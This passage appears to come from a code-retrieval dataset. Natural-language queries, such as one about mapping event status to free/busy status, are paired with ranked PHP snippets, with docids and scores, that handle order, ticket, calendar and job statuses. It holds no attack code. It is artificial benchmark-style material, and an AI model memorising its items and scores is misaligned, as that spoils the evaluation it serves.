$this->getConfig('showcmtdate')\n || $this->getConfig('showcmttext')\n || $this->getConfig('shownumcomments')\n )\n {\n $this->cmttext = true;\n }\n else\n {\n $this->cmttext = false;\n }\n return $this->cmttext;\n }", "title": "" }, { "docid": "6d35b1caf9b0fa77dd0cb8a4ebbb96aa", "score": "0.43419138", "text": "function display_reviews_list_page() {\n\n\t// Fetch the action link.\n\t$action = Helpers\\get_admin_menu_link( Core\\REVIEWS_ANCHOR );\n\n\t// Check to see if we are editing an attribute or not.\n\t$isedit = ! empty( $_GET['wbr-action-name'] ) && 'edit' === sanitize_text_field( $_GET['wbr-action-name'] ) ? 1 : 0;\n\n\t// Wrap the entire thing.\n\techo '<div class=\"wrap woo-better-reviews-admin-wrap woo-better-reviews-admin-reviews-wrap\">';\n\n\t\t// Handle the title.\n\t\techo '<h1 class=\"wp-heading-inline woo-better-reviews-admin-title\">' . esc_html( get_admin_page_title() ) . '</h1>';\n\n\t\t// Cut off the header.\n\t\techo '<hr class=\"wp-header-end\">';\n\n\t\t// Load the proper page.\n\t\techo ! $isedit ? load_primary_reviews_display( $action ) : load_edit_single_review_form( $action );\n\n\t// Close the entire thing.\n\techo '</div>';\n}", "title": "" } ]
9938bf87b035423f952fb5876bf4466e
Map the event status to a free/busy status.
[ { "docid": "9c76cd31ebfbf7da55a6858395b46956", "score": "0.5534219", "text": "public function map($status)\n {\n if (isset($this->_map[$status])) {\n return $this->_map[$status];\n } else {\n return parent::map($status);\n }\n }", "title": "" } ]
[ { "docid": "2b202240a52cfa3c50f5a0fe409fb741", "score": "0.613591", "text": "public function set_event_status(){\n\t\t$event_status = array('Scheduled' => 'Scheduled', 'Confirmed' => 'Confirmed', 'In Progress' => 'In Progress',\n\t\t'Rescheduled' => 'Rescheduled', 'Completed' => 'Completed');\n\t\t$this->set('eventStatus', $event_status);\n\t}", "title": "" }, { "docid": "4c21b969788fc666222d15030023a495", "score": "0.591074", "text": "public function statusMapping();", "title": "" }, { "docid": "a3081125673f2a8a4deebd08184fc0de", "score": "0.5842854", "text": "private function mapStatus($status)\n {\n switch ($status) {\n case 'new':\n case 'processing':\n return 'pending';\n case 'completed':\n return 'approved';\n case 'cancelled':\n return 'void';\n case 'expired':\n return 'error';\n case 'see-transactions':\n return 'see_transactions';\n case 'error':\n default:\n return'declined';\n }\n }", "title": "" }, { "docid": "f775dd4760c04f501f608e86457c2eee", "score": "0.54488564", "text": "public function status($status, bool $mapped = false): self\n {\n return $this->setProp('status', $status, $mapped);\n }", "title": "" }, { "docid": "615696770c9b7febd9fe8780e6cdf6a7", "score": "0.53016657", "text": "function _health_adminimal_set_status($form, &$form_state) {\n if (isset($form_state['values']['field_date_start'][LANGUAGE_NONE][0]) && isset($form_state['values']['field_date_end'][LANGUAGE_NONE][0])) {\n if (strtotime('now') < strtotime($form_state['values']['field_date_start'][LANGUAGE_NONE][0]['value'])) {\n $status = \"Upcoming\";\n } else if (strtotime('now') < strtotime($form_state['values']['field_date_end'][LANGUAGE_NONE][0]['value'])) {\n $status = \"Open\";\n } else {\n $status = \"Closed\";\n }\n $form_state['values']['field_status'][LANGUAGE_NONE][0]['value'] = $status;\n }\n}", "title": "" }, { "docid": "a84f58d26ec255917afaebda7d80b258", "score": "0.52969354", "text": "private function createStatus()\n\t{\n\t\t$status = $this->record->get('activitystatus');\n\t\tif ('VEVENT' === (string) $this->vcomponent->name) {\n\t\t\t$values = [\n\t\t\t\t'PLL_PLANNED' => 'TENTATIVE',\n\t\t\t\t'PLL_OVERDUE' => 'CANCELLED',\n\t\t\t\t'PLL_POSTPONED' => 'CANCELLED',\n\t\t\t\t'PLL_CANCELLED' => 'CANCELLED',\n\t\t\t\t'PLL_COMPLETED' => 'CONFIRMED',\n\t\t\t];\n\t\t} else {\n\t\t\t$values = [\n\t\t\t\t'PLL_PLANNED' => 'NEEDS-ACTION',\n\t\t\t\t'PLL_IN_REALIZATION' => 'IN-PROCESS',\n\t\t\t\t'PLL_OVERDUE' => 'CANCELLED',\n\t\t\t\t'PLL_POSTPONED' => 'CANCELLED',\n\t\t\t\t'PLL_CANCELLED' => 'CANCELLED',\n\t\t\t\t'PLL_COMPLETED' => 'COMPLETED',\n\t\t\t];\n\t\t}\n\t\tif ($status && isset($values[$status])) {\n\t\t\t$value = $values[$status];\n\t\t} else {\n\t\t\t$value = reset($values);\n\t\t}\n\t\tif (isset($this->vcomponent->STATUS)) {\n\t\t\t$this->vcomponent->STATUS = $value;\n\t\t} else {\n\t\t\t$this->vcomponent->add($this->vcalendar->createProperty('STATUS', $value));\n\t\t}\n\t}", "title": "" }, { "docid": "79bb2b2432f75f07f416a0675d483e32", "score": "0.52935106", "text": "public function setStatus($status)\n\t{\n\t\tparent::setStatus($status);\n\n\t\tif ($status == OperationIncident::STATUS_SOLVED || $status == OperationIncident::STATUS_CLOSED) {\n\t\t\t// incident has been resolved\n\t\t\t$this->setTimeToResolve(0);\n\t\t}\n\t}", "title": "" }, { "docid": "be1248402edb65e1ccaccb040eb8497a", "score": "0.5171114", "text": "public function getStatusMap();", "title": "" }, { "docid": "bf64c5b412ac2f5a22eac2e9dd4e3ece", "score": "0.5136301", "text": "public function getStatus()\n\t{\n\t\t/// only this func can set status busy\n\t\tif($this->isBusy())\n\t\t{ \n\t\t\t$status = 'busy';\n\t\t}\n\t\telse {\n\t\t\t$status = $this->status;\n\t\t\tif(!$this->isOnBreak()) {\n\t\t\t\t$status = $this->isOnline()?\"online\":\"offline\";\n\t\t\t\t/// if status is busy in users table but reader ping update was more then 10 sec ago, set status online\n\t\t\t\tif ($this->status == 'busy')\n\t\t\t\t{\n\t\t\t\t\tself::updateReaderStatus($this->rr_record_id, $status);\n\t\t\t\t}\n\t\t\t}\n\t\t}\t\n \n\t\tif(empty($status))\n\t\t{\n\t\t\t$status = 'offline';\n\t\t}\n\t\treturn $status;\n\t}", "title": "" }, { "docid": "b509c23091d8ebeca126a92adc95eeae", "score": "0.50959975", "text": "public function initStatus()\n {\n if ($this->status === null) {\n $this->status = JOB_STATUS_PENDING;\n }\n }", "title": "" }, { "docid": "6ff19f6989b811fb57eb5346b8c9ac79", "score": "0.5073392", "text": "abstract protected function onStatusChange($request, $oldstatus, $newstatus);", "title": "" }, { "docid": "6327a6a7e0ec07f3b0cdc1baa49abec9", "score": "0.5047072", "text": "function getStatus( $status ){\n switch( $status ){\n case 1:\n return \"Applied\";\n case 2:\n return \"Active\";\n case 3:\n return \"Inactive\";\n case 4:\n return \"Placed\";\n case 5:\n return \"Terminated\";\n }\n }", "title": "" }, { "docid": "6ff5ca5987cb1900f3c2495caccea932", "score": "0.5008776", "text": "function getBusyState(): int {\n return $this->busy;\n }", "title": "" }, { "docid": "c65cadc0796d847124d49899f4e193c5", "score": "0.4992057", "text": "private function statusTransitions()\n {\n $this->status = self::STATUS_IN_LAYOUT;\n $this->api()->on('f.template.layout', function () {\n if ($this->status & self::STATUS_IN_PARTIAL) {\n throw new LogicException('Is not possible to use $this->layout() in partials.');\n }\n $this->status = self::STATUS_IN_TEMPLATE;\n });\n $this->api()->on('f.template.renderlayout', function () {\n $this->status = self::STATUS_IN_LAYOUT;\n });\n $this->api()->on('f.template.prepartial', function () {\n $this->status |= self::STATUS_IN_PARTIAL;\n });\n $this->api()->on('f.template.afterpartial', function () {\n $this->status ^= self::STATUS_IN_PARTIAL;\n });\n $this->api()->on('f.template.renderered', function () {\n $this->stack()->pop();\n if ($this->stack()->count() === 0) {\n $this->status = self::STATUS_RENDERED;\n }\n });\n }", "title": "" }, { "docid": "c8be4af0eaa8f88dd301f9f36319a25a", "score": "0.49864587", "text": "public function status($status)\n {\n $ids = Request::get(\"id\");\n\n $ids = is_array($ids) ? $ids : [$ids];\n\n foreach ($ids as $id) {\n\n $place = Place::findOrFail($id);\n\n // Fire saving action\n Action::fire(\"place.saving\", $place);\n\n $place->status = $status;\n $place->save();\n\n // Fire saved action\n\n Action::fire(\"place.saved\", $place);\n }\n\n if ($status) {\n $message = trans(\"i18n::places.events.activated\");\n } else {\n $message = trans(\"i18n::places.events.deactivated\");\n }\n\n return Redirect::back()->with(\"message\", $message);\n }", "title": "" }, { "docid": "38e93ab0f27f950c0f6db157e19439f3", "score": "0.49858314", "text": "function api_autograder_set_status($token, $key, $status) {\n\t\tif (!api_autograder_is_key_valid($token, $key)) {\n\t\t\treturn api_error(\"WRONG_KEY\");\n\t\t}\n\t\t$item = sql_query_item(\"SELECT * FROM `auto_grader_queue` WHERE `token` = '\".sql_sanitize_string($token).\"' LIMIT 1\");\n\t\tif ($item == null) return api_error(\"NOT_FOUND\");\n\t\t\n\t\t$item_id = intval($item['item_id']);\n\t\t\n\t\t$status = strtoupper(trim($status));\n\t\t\n\t\tswitch ($status) {\n\t\t\tcase 'NOT_STARTED':\n\t\t\tcase 'SETTING_UP':\n\t\t\tcase 'RUNNING':\n\t\t\tcase 'DONE':\n\t\t\tcase 'ERROR_BANNED_CODE':\n\t\t\tcase 'ERROR_COMPILE':\n\t\t\tcase 'ERROR_RUNTIME':\n\t\t\tcase 'ERROR_TIMED_OUT':\n\t\t\tcase 'ERROR_MEMORY_EXCEEDED':\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\treturn api_error('INVALID_STATE');\n\t\t}\n\t\t\n\t\tsql_query(\"UPDATE `auto_grader_queue` SET `state` = '\".sql_sanitize_string($status).\"' WHERE `item_id` = $item_id LIMIT 1\");\n\t\treturn api_success();\n\t}", "title": "" }, { "docid": "dec5cbeb71281fe3be6a88a27b6c4b26", "score": "0.4983331", "text": "public function account_status_event($account, $number, $user, $status)\n\t{\n\t\tdate_default_timezone_set('America/New_York');\n\n\t\t$arr = array(\n\t\t\t'description' => \"{$user} {$status} account {$number}: {$account}\",\n\t\t\t'user' => $user,\n\t\t\t'location' => \"Account Status\",\n\t\t\t'date'=>date(\"Y-m-d H:i:s\")\n\t\t\t);\n\n\t\ttry{$this->create($arr);}\n\t\tcatch(Exception $e)\n\t\t{die($e->getMessage() . print_r($arr));}\n\t}", "title": "" }, { "docid": "d25252fd83f2c49d69c912ba3a636a09", "score": "0.49583274", "text": "public function getStatus($status)\n\t{\n\t\tif ($status == 'pending') {\n\t\t\t$badge = \"A\";\n\t\t} elseif ($status == 'solved') {\n\t\t\t$badge = \"R\";\n\t\t} else{\n\t\t\t$badge = strtoupper(substr($status,0,1));\n\t\t}\n\t\t$status = \"<span class='status-badge status-{$status}'>{$badge}</span>\";\n\t\treturn $status;\n\t}", "title": "" }, { "docid": "f6e936e93f86b7867ad997ef1c471281", "score": "0.4955778", "text": "public function setStatus(string $status);", "title": "" }, { "docid": "f6e936e93f86b7867ad997ef1c471281", "score": "0.4955778", "text": "public function setStatus(string $status);", "title": "" }, { "docid": "a70e319905340954e692b2a358f89547", "score": "0.49368748", "text": "private function ref_status()\n {\n return array(\n 'On Track' => 'On Track',\n 'Off Track' => 'Off Track',\n 'At Risk' => 'At Risk',\n 'Pending' => 'Pending',\n 'Canceled' => 'Canceled',\n );\n }", "title": "" }, { "docid": "b7261d633ea4d69fb3a5bbe8f0a51e9e", "score": "0.4932094", "text": "function em_booking_set_status($result, $EM_Booking){\n\t\tif($EM_Booking->booking_status == 1 && $EM_Booking->previous_status == $this->status && $this->uses_gateway($EM_Booking) && (empty($_REQUEST['action']) || $_REQUEST['action'] != 'gateway_add_payment') ){\n\t\t\t$this->record_transaction($EM_Booking, $EM_Booking->get_price(false,false,true), get_option('dbem_bookings_currency'), current_time('mysql'), '', 'Completed', '');\t\t\t\t\t\t\t\t\n\t\t}\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "f3fa49aed5ea6b0d196f74f225d51709", "score": "0.49243137", "text": "public function setStatus($status);", "title": "" }, { "docid": "f3fa49aed5ea6b0d196f74f225d51709", "score": "0.49243137", "text": "public function setStatus($status);", "title": "" }, { "docid": "f3fa49aed5ea6b0d196f74f225d51709", "score": "0.49243137", "text": "public function setStatus($status);", "title": "" }, { "docid": "f3fa49aed5ea6b0d196f74f225d51709", "score": "0.49243137", "text": "public function setStatus($status);", "title": "" }, { "docid": "f3fa49aed5ea6b0d196f74f225d51709", "score": "0.49243137", "text": "public function setStatus($status);", "title": "" }, { "docid": "ad220e3ed38df8b8fbe40cf79784be52", "score": "0.49078876", "text": "public function getAvailableStatuses()\r\n {\r\n return [\r\n self::STATUS_RUNNING => __(self::STATUS_RUNNING_LABEL),\r\n self::STATUS_COMPLETE => __(self::STATUS_COMPLETE_LABEL),\r\n self::STATUS_ERROR => __(self::STATUS_ERROR_LABEL),\r\n self::STATUS_INDEXING => __(self::STATUS_INDEXING_LABEL)\r\n ];\r\n }", "title": "" }, { "docid": "56ba1d90896c8460ce46ce22c828b6bb", "score": "0.48963347", "text": "public function getAppointmentStatusWhenChangingBookingStatus($service, $bookingsCount, $appointmentStatus)\n {\n if ($bookingsCount['approvedBookings'] === 0 && $bookingsCount['pendingBookings'] === 0) {\n return BookingStatus::CANCELED;\n }\n\n if ($appointmentStatus === BookingStatus::APPROVED) {\n return $bookingsCount['approvedBookings'] >= $service->getMinCapacity()->getValue() ?\n BookingStatus::APPROVED : BookingStatus::PENDING;\n }\n\n return $appointmentStatus;\n }", "title": "" }, { "docid": "d2a000dc3fb30cd903e2a8d5c8e27f58", "score": "0.48897058", "text": "public function updateTaskStatuses()\n {\n $query = \"UPDATE tasks SET status = 'late' WHERE status = 'open' AND end_date IS NOT NULL AND end_date < 'now'\";\n $this->getAdapter()->query($query);\n }", "title": "" }, { "docid": "27e943767590ceacb2b483880f34250b", "score": "0.48885834", "text": "protected function setStatus($status)\n {\n $availableStatus = array(self::NAGIOS_CRITICAL, self::NAGIOS_OK, self::NAGIOS_UNKNOWN, self::NAGIOS_WARNING);\n if (! in_array($status, $availableStatus)) $this->status = self::NAGIOS_UNKNOWN;\n else $this->status = $status;\n }", "title": "" }, { "docid": "d372d11a72fc58252c7ca58609ad715e", "score": "0.48620942", "text": "protected function resolveState($status)\n {\n $status = preg_replace('/\\s+/', ' ', $status);\n // remove leading and trailing spaces\n $status = trim($status);\n $status = strtolower($status);\n\n switch (true) {\n case strpos($status, 'transit') !== false:\n case strpos($status, 'vehicle') !== false:\n case strpos($status, 'arriving') !== false:\n case strpos($status, 'arrived') !== false:\n case strpos($status, 'facility') !== false:\n case strpos($status, 'departed') !== false:\n return Track::STATUS_IN_TRANSIT;\n case strpos($status, 'picked') !== false:\n return Track::STATUS_PICKUP;\n case strpos($status, 'exception') !== false:\n return Track::STATUS_EXCEPTION;\n case $status === 'delivered':\n return Track::STATUS_DELIVERED;\n default:\n return Track::STATUS_UNKNOWN;\n }\n }", "title": "" }, { "docid": "7922295b6542b020cf0a775d1105468a", "score": "0.48382002", "text": "function order_status_changed( $order_id, $old_status, $new_status ) {\n\t\t\tswitch ( $new_status ) {\n\t\t\t\tcase 'processing':\n\t\t\t\tcase 'completed':\n\t\t\t\t\t$status = 'activate';\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'cancelled':\n\t\t\t\tcase 'refunded':\n\t\t\t\t\t$status = 'deactivate';\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'pending':\n\t\t\t\tcase 'on-hold':\n\t\t\t\tcase 'failed':\n\t\t\t\t\t$status = 'remove';\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\t$status = '';\n\t\t\t}\n\t\t\tif ( $status ) {\n\t\t\t\t$this->__status_changed( $order_id, $status );\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "a2861396eae803f52acedaf78307b230", "score": "0.48342064", "text": "function shop_get_bill_states() {\n static $status;\n\n if (!isset($status)) {\n $status = array ('PLACED' => 'PLACED',\n 'PENDING' => 'PENDING',\n 'PAYBACK' => 'PAYBACK',\n 'PARTIAL' => 'PARTIAL',\n 'SOLDOUT' => 'SOLDOUT',\n 'RECOVERING' => 'RECOVERING',\n 'CANCELLED' => 'CANCELLED',\n 'COMPLETE' => 'COMPLETE',\n 'WORKING' => 'WORKING');\n }\n return $status;\n}", "title": "" }, { "docid": "6db958e1b16a5e26fd5cf1e076858198", "score": "0.4831516", "text": "public function messageOfEvent($status)\n {\n if ($status == NOT_CONFIRMED) {\n return [\n 'header' => 'Menunggu Konfirmasi',\n 'content' => 'Event ini sudah didaftarkan. Tunggu konfirmasi dari pihak admin.'\n ];\n } else if ($status == FINISHED) {\n return [\n 'header' => 'Telah Selesai',\n 'content' => 'Event ini sudah selesai. Tidak menerima tanggapan lagi.'\n ];\n } else if ($status == CLOSED) {\n return [\n 'header' => 'Sudah Ditutup',\n 'content' => 'Event ini telah ditutup oleh penyelenggara / admin.'\n ];\n } else if ($status == REJECTED) {\n return [\n 'header' => 'Ditolak',\n 'content' => 'Pengajuan untuk menyelenggarakan event ini ditolak. Silahkan cek email untuk pesan.'\n ];\n }\n\n return [\n 'header' => 'Dibatalkan',\n 'content' => 'Event ini dibatalkan oleh penyelenggara.'\n ];\n }", "title": "" }, { "docid": "fa00809f9489bc41e7e301161179328f", "score": "0.48313913", "text": "function setStatus($status) {\n assert(in_array($status, array(MS_ON, MS_OFF)));\n $this->ms_layer->set('status', $status);\n }", "title": "" }, { "docid": "1d15e0b35689f79d187ec792afe20b98", "score": "0.4794874", "text": "public function getStatusMap()\n {\n $translator = $this->getServiceLocator()->get('Translator');\n return array(\n JOB_STATUS_PENDING => $translator->translate('manager.job.status.pending'),\n JOB_STATUS_PROCESSING => $translator->translate('manager.job.status.processing'),\n JOB_STATUS_COMPLETED => $translator->translate('manager.job.status.completed'),\n JOB_STATUS_FAILED => $translator->translate('manager.job.status.failed'),\n );\n }", "title": "" }, { "docid": "5cd8e1e53d4125d7d74f984966872819", "score": "0.47939247", "text": "public function bkap_dokan_change_status() {\n\t\t\t\n\t\t\t$item_id = $_POST[ 'item_id' ];\n\t\t\t$status = $_POST[ 'status' ];\n\t\t\tbkap_booking_confirmation::bkap_save_booking_status( $item_id, $status );\n\t\t\tdie();\n\t\t}", "title": "" }, { "docid": "d332a16016460ab16f1b05e1393faf68", "score": "0.47916678", "text": "public function setStatusInProgress(){\n $this->status = self::STATUS_IN_PROGRESS;\n $this->update(array('status'));\n }", "title": "" }, { "docid": "cd3d01a647bfb009f39ee32d1745e6bf", "score": "0.47907773", "text": "private function setStatus($status)\n\t{\n\t\tif (is_numeric($status)) {\n\t\t\t$this->_status = $status;\n\t\t}\n\t}", "title": "" }, { "docid": "ae1889ecd2bcfa311af31e8beae1a1b3", "score": "0.47749144", "text": "public function onStatusChange($fn);", "title": "" }, { "docid": "d710b29d9b70763c47c619751feb17c4", "score": "0.47718996", "text": "private static function _set_status($status = 'COMPLETE', $error_msg = '')\n\t{\n\t\tif(isset(self::$job_id))\n\t\t{\n\t\t\t$job_id = self::$job_id;\n\t\t\t$error_num = self::$status_map[$status];\n\n\t\t\techo \"Set jobID: \".$job_id.\" to status({$error_num} - {$status})\\n\";\n\n\t\t\t$entry = \\Pump\\Model\\Model_JobSchedule::find($job_id);\n\t\t\t$entry->status_id = $error_num;\n\t\t\t$entry->memory_usage = memory_get_peak_usage();\n\t\t\t\n\t\t\tif($status == 'ERROR' && $error_msg !='')\n\t\t\t{\n\t\t\t\t$entry->error = $error_msg;\n\t\t\t\t//echo \"Error MSG:\\n\".$error_msg.\"\\n\";\n\t\t\t}\n\t\t\t$entry->save();\n\t\t}\n\t}", "title": "" }, { "docid": "6b8be3009de17706ce4c88cdd16f0ada", "score": "0.47584072", "text": "function process() {\n\t\t$this->status = \"pending\";\n\t}", "title": "" }, { "docid": "c6cf728925d773f04e0dd7e970bcbb4e", "score": "0.47386783", "text": "public function set_status($p_status){\n\t\t$this->v_status = (int) $p_status;\n\t}", "title": "" }, { "docid": "c86e5247514458e4b19d389e38147bcd", "score": "0.47361493", "text": "public function change_ticket_status_callback() {\n\t\t$ticket_id = isset( $_POST['ticket_id'] ) ? $_POST['ticket_id'] : '';\n\t\t$update_time = isset( $_POST['update_time'] ) ? $_POST['update_time'] : '';\n\t\t$new_status = isset( $_POST['new_status'] ) ? $_POST['new_status'] : '';\n\n\t\tif ( $ticket_id && $new_status ) {\n\t\t\t$this->update_ticket( $ticket_id, $update_time, $new_status );\n\t\t\t$new_label = self::get_ticket_status_label( $new_status );\n\t\t\techo $new_label;\n\t\t}\n\t\texit;\n\t}", "title": "" }, { "docid": "3905a70384794ce37bc607ea4c6f4f1f", "score": "0.47230446", "text": "function sms_txtlocal_map_message_status_code($code) {\n switch ($code) {\n case 'D':\n return SMS_MSG_STATUS_DELIVERED;\n case 'I':\n return SMS_MSG_STATUS_ERROR;\n case 'U':\n return SMS_MSG_STATUS_EXPIRED;\n }\n}", "title": "" }, { "docid": "36058fe57a3f04f43b78bc36adf88984", "score": "0.47188145", "text": "public function setStatus($status)\n\t\t{\n\t\t\t$status = (int)$status;\n\t\t\tif($status == 0 || $status == 1){\n\t\t\t\t$this->_status = $status;\t\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "d316918761335f4abbc68e1d6883c5ec", "score": "0.47180372", "text": "public function getStatusForKey($key)\n {\n if (isset($this->statuses[$key])) return $this->statuses[$key];\n\n $params = array('key1' => $key);\n\n $entity = $this->_em->getRepository('OSSO2012\\Event\\EventStatusItem')->findOneBy($params);\n\n $this->statuses[$key] = $entity;\n return $entity;\n }", "title": "" }, { "docid": "c4622ec01f78a3c50b1789bb1dd51b22", "score": "0.47104922", "text": "public function setStatus($status) {\n if($this->tid != null) {\n if(!is_int($status)) {\n switch($status) {\n case 'new': $status = 0;\n break;\n case 'open': $status = 1;\n break;\n case 'closed': $status = 2;\n break;\n }\n }\n if($status >= 0 && $status < 3) {\n return DB::get()->query(\"UPDATE `support_thread` SET `status` = '\" . $status . \"' WHERE `id` = '\" . $this->tid . \"'\");\n }\n }\n return false;\n }", "title": "" }, { "docid": "773c97aa74494c3de843b8c259a0ec5c", "score": "0.4699097", "text": "public function hook_statuses() {\n\t\t$statuses = Follow_Up_Emails::instance()->fue_wc->get_order_statuses();\n\n\t\tforeach ( $statuses as $status ) {\n\t\t\tadd_action('woocommerce_order_status_'. $status, array($this, 'ticket_status_updated'), 100);\n\t\t}\n\t}", "title": "" }, { "docid": "679efc97819413da2a4cb9c577476e69", "score": "0.46928814", "text": "private function getBusyStatus($uname)\r\n {\r\n $query = $this->db->prepare(\"SELECT * FROM data WHERE given_to=:uname ORDER BY taskid DESC LIMIT 1\");\r\n $query->execute(array(':uname'=>$uname));\r\n if($query->rowCount())\r\n {\r\n $userRow=$query->fetch(PDO::FETCH_ASSOC);\r\n\r\n if($userRow['completed']==0)\r\n echo \"disabled\";\r\n }\r\n \r\n \r\n \r\n }", "title": "" }, { "docid": "0f1c6c75305ab62dc732c966e7fc3cc5", "score": "0.4680625", "text": "public function setStatus($status)\n\t{\n\t\t$this->status = (int) $status;\n\t}", "title": "" }, { "docid": "a4e5c410d332973687695937b57c26b8", "score": "0.46769652", "text": "public static function statusApp($status) {\n return $status == 1 ? 'Disponível' : 'Indisponível';\n }", "title": "" }, { "docid": "37185fe174b4159d4a728d7b1a35be12", "score": "0.467339", "text": "function request_core_request_status_change_submit($form, $form_state) {\n $return = array();\n $return['status'] = $form_state['values']['status'];\n return $return;\n}", "title": "" }, { "docid": "7b8174d0d10123a87057d122c6160edf", "score": "0.4672237", "text": "protected function getStatus($status)\n {\n return $status ? new Status('paid') : new Status('pending');\n }", "title": "" }, { "docid": "9729c29f8ae808ae0e2b83ea7f5b1bc5", "score": "0.46630642", "text": "public function openStatus() {\n $status = new stdClass();\n $status->isOpen = true;\n $status->tooSoon = false;\n $status->tooLate = false;\n\n if ($this->is_active !== \"1\") {\n $status->isOpen = false;\n }\n if ($this->date_isIntoInterval() === -1) {\n $status->isOpen = false;\n $status->tooSoon = true;\n } elseif ($this->date_isIntoInterval() === 1) {\n $status->isOpen = false;\n $status->tooLate = true;\n }\n\n return $status;\n }", "title": "" }, { "docid": "b7cc830fd9faf158bb104bda446e1452", "score": "0.46630502", "text": "public function getStatusFromFriendly($status_string){\n\n \t//this line creates the inversion\n \t\t$inverseStatuses = array_flip(Ticket::STATUS);\n \t\tif(isset($inverseStatuses[$status_string])){\n \t\t\treturn $inverseStatuses[$status_string];\n \t\t}\n\n \t//if the value passed in isn't formatted according to the map, an error\n \t//has occurred\n \telse{\n\t\t\tLog::error(\"Unknown status for ticket\\n\\tStatus: \".$status_string);\n\t\t\tthrow new \\Exception(\"status undefined: \".$status_string, 1);\n\t\t\treturn 'Unknown status';\n\t\t}\n }", "title": "" }, { "docid": "cb59a97f9eefd23e2f9f979b5a2e6b78", "score": "0.4661402", "text": "public function reactToOnAvailable($event) { }", "title": "" }, { "docid": "03ba39344a3a09394a6e644cedf52034", "score": "0.4659659", "text": "public static function getStatuses();", "title": "" }, { "docid": "f62d7694274579b6507b997ab0444e19", "score": "0.4658634", "text": "public function statusHasChanged();", "title": "" }, { "docid": "5dc66f88d954378e83d91367f5c816bf", "score": "0.46581346", "text": "private function processMessagePerStatus($messageStatus)\n {\n $now = $this->dateTime->gmtTimestamp();\n\n if ($messageStatus->getStatus() == self::MESSAGE_STATUS_COMPLETE\n && strtotime($messageStatus->getUpdatedAt()) < ($now - $this->getCompletedMessageLifetime())) {\n $messageStatus->setStatus(self::MESSAGE_STATUS_TO_BE_DELETED)\n ->save();\n } elseif ($messageStatus->getStatus() == self::MESSAGE_STATUS_ERROR\n && strtotime($messageStatus->getUpdatedAt()) < ($now - $this->getErrorMessageLifetime())) {\n $messageStatus->setStatus(self::MESSAGE_STATUS_TO_BE_DELETED)\n ->save();\n } elseif ($messageStatus->getStatus() == self::MESSAGE_STATUS_IN_PROGRESS\n && strtotime($messageStatus->getUpdatedAt()) < ($now - $this->getInProgressRetryAfter())\n ) {\n $this->pushToQueueForRetry($messageStatus->getId());\n } elseif ($messageStatus->getStatus() == self::MESSAGE_STATUS_NEW\n && strtotime($messageStatus->getUpdatedAt()) < ($now - $this->getNewMessageLifetime())\n ) {\n $messageStatus->setStatus(self::MESSAGE_STATUS_TO_BE_DELETED)\n ->save();\n }\n }", "title": "" }, { "docid": "1b765f6cf23a4d7dfa1585d77a6ee54e", "score": "0.46544576", "text": "public function troca_status( Processo $processo, $status_novo ) {\n\n\t\tif( $status_novo == 'BLOCK' ) {\n\t\t\tprintf( 'Tempo %d: Processo id: %d foi bloqueado'.QUEBRA, $this->time, $processo->get_id() );\n\t\t\tunset( $this->filas[ $processo->get_fila() ][ $processo->get_id() ] );\n\n\t\t}elseif( $processo->get_status() === 'BLOCK' && $status_novo === 'READY' ) {\n\t\t\tprintf( 'Tempo %d: Processo id: %d passou %dms bloqueado'.QUEBRA, \n\t\t\t\t$this->time, $processo->get_id(), $processo->get_time_blocked() \n\t\t\t);\n\t\t\t$this->set_fila( $processo );\n\t\t}\n\n\t\t$status_ant = $processo->get_status();\n\t\t//Remove da lista de status\n\t\tunset( $this->status[ $status_ant ][ $processo->get_id() ] );\n\t\t//Adiciona na lista de status\n\t\t$processo->set_status( $status_novo );\n\t\t$this->set_status( $processo );\n\n\t}", "title": "" }, { "docid": "51501eee14f778beafa4554682a30d2a", "score": "0.4644151", "text": "public function setWaitingStatus(){\n \t$this->setData('status', 'W');\n\t\t$this->setData('description', 'Waiting Update');\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "1b5f63f739e2b33eebf2e4dd1fe93b19", "score": "0.4641602", "text": "public static function payEvent($id, $status);", "title": "" }, { "docid": "475536bc76dfab346fa6006edcfb78f7", "score": "0.46410024", "text": "function subscription_status_changed( $order_id, $old_status, $new_status ) {\n\t\t\tswitch ( $new_status ) {\n\t\t\t\tcase 'active':\n\t\t\t\t\t$status = 'activate';\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'cancelled':\n\t\t\t\t\t$status = 'deactivate';\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'pending':\n\t\t\t\tcase 'on-hold':\n\t\t\t\t\t$status = 'remove';\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'switched':\n\t\t\t\tcase 'pending-cancel':\n\t\t\t\tcase 'expired':\n\t\t\t\tdefault:\n\t\t\t\t\t$status = '';\n\t\t\t}\n\t\t\tif ( $status ) {\n\t\t\t\t$this->__status_changed( $order_id, $status );\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "474aabba1aa881a0cf97c2f68ba868bb", "score": "0.46406588", "text": "public function setStatus($status = null);", "title": "" }, { "docid": "cd55eb6750459ca85cc47d1ecb785df2", "score": "0.46365398", "text": "public function scopeStatus($query, $status)\n {\n return $query->where('availability', '=', $status);\n }", "title": "" }, { "docid": "bef1a29746373063d6fae4f52b55b235", "score": "0.46317574", "text": "public function transformStatus($status)\n {\n // @see: https://mobilecommons.zendesk.com/hc/en-us/articles/202052284-Profiles\n $statusTokens = [\n 'Active Subscriber' => 'active',\n 'Undeliverable' => 'undeliverable', // Invalid mobile, can't receive texts, or texted STOP\n ];\n\n // Map to normalized status keywords, or 'unknown' on unknown status\n return array_get($statusTokens, (string) $status, 'unknown');\n }", "title": "" }, { "docid": "e878bdfef4b5279bcabcb2978c0ae51a", "score": "0.4628769", "text": "public function get_event_status()\n {\n return $this->cDB->get_event_status();\n }", "title": "" }, { "docid": "d5d68c2edb873053d41144b791428c78", "score": "0.46279004", "text": "public function markAsBusy()\n {\n $this->isFree = false;\n }", "title": "" }, { "docid": "bd79165675fa2b899b2c5a4502f15d8d", "score": "0.4616528", "text": "function _ProcessRFC3463Permanent($statusCode, $statusSubCode)\n\t{\n\t\t$bounce_type = false;\n\t\t$bounce_group = false;\n\t\tswitch ($statusCode) {\n\t\t\tcase '1': // Addressing status\n\t\t\t\tif (in_array($statusSubCode, array('0','1','2','3','4','5','6'))) 